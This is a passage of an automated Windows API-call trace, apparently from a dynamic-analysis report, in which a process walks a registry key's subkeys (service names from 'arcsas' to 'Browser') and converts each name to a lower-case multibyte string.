RegEnumKeyW (in: hKey=0x154, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0245.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.973] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0245.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0245.973] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0245.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.973] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0245.973] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.973] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.973] RegEnumKeyW (in: hKey=0x154, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0245.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.973] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0245.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.973] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1970, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0245.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0245.973] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.973] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0245.973] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.973] RegEnumKeyW (in: hKey=0x154, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0245.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.973] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0245.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0245.973] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f18e0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0245.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.973] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0245.973] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.973] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.973] RegEnumKeyW (in: hKey=0x154, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0245.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.974] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0245.974] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.974] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1970, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0245.974] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0245.974] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.974] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0245.974] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.974] RegEnumKeyW (in: hKey=0x154, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0245.974] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.974] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0245.974] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0245.974] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0245.974] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.974] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0245.974] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.974] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.974] RegEnumKeyW (in: hKey=0x154, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0245.974] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.974] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0245.974] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.974] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1970, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0245.974] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0245.974] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.974] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0245.974] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.974] RegEnumKeyW (in: hKey=0x154, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0245.974] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.974] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0245.974] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0245.974] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f18e0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0245.974] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.974] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0245.974] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.974] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.975] RegEnumKeyW (in: hKey=0x154, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0245.975] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.975] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0245.975] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.975] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0245.975] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0245.975] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.975] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0245.975] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.975] RegEnumKeyW (in: hKey=0x154, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0245.975] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.975] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0245.975] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0245.975] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0245.975] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.975] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0245.975] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.975] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.975] RegEnumKeyW (in: hKey=0x154, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0245.975] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.975] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0245.975] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.975] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1970, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0245.975] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0245.975] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.975] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0245.975] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.975] RegEnumKeyW (in: hKey=0x154, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0245.975] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.975] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0245.975] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0245.975] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0245.976] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0245.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.976] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0245.976] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.976] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0245.976] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.976] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1970, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0245.976] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0245.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0245.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.976] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0245.976] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.976] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0245.976] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0245.976] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0245.976] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0245.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.976] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0245.976] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.976] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0245.976] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.976] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1970, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0245.976] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0245.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0245.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.976] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0245.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0245.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0245.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f18e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0245.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.977] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0245.977] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.977] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.977] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0245.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0245.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1970, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0245.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0245.977] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.977] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0245.977] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.977] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0245.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0245.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0245.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0245.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.977] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0245.977] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.977] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.977] RegEnumKeyW (in: hKey=0x154, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0245.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0245.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1970, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0245.978] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0245.978] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.978] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0245.978] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.978] RegEnumKeyW (in: hKey=0x154, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0245.978] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.978] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0245.978] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0245.978] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0245.978] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.978] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0245.978] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.978] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.978] RegEnumKeyW (in: hKey=0x154, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0245.978] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.978] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0245.978] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.978] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0245.978] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0245.978] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.978] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0245.978] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.978] RegEnumKeyW (in: hKey=0x154, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0245.978] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.978] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0245.978] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0245.978] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0245.978] RtlAllocateHeap 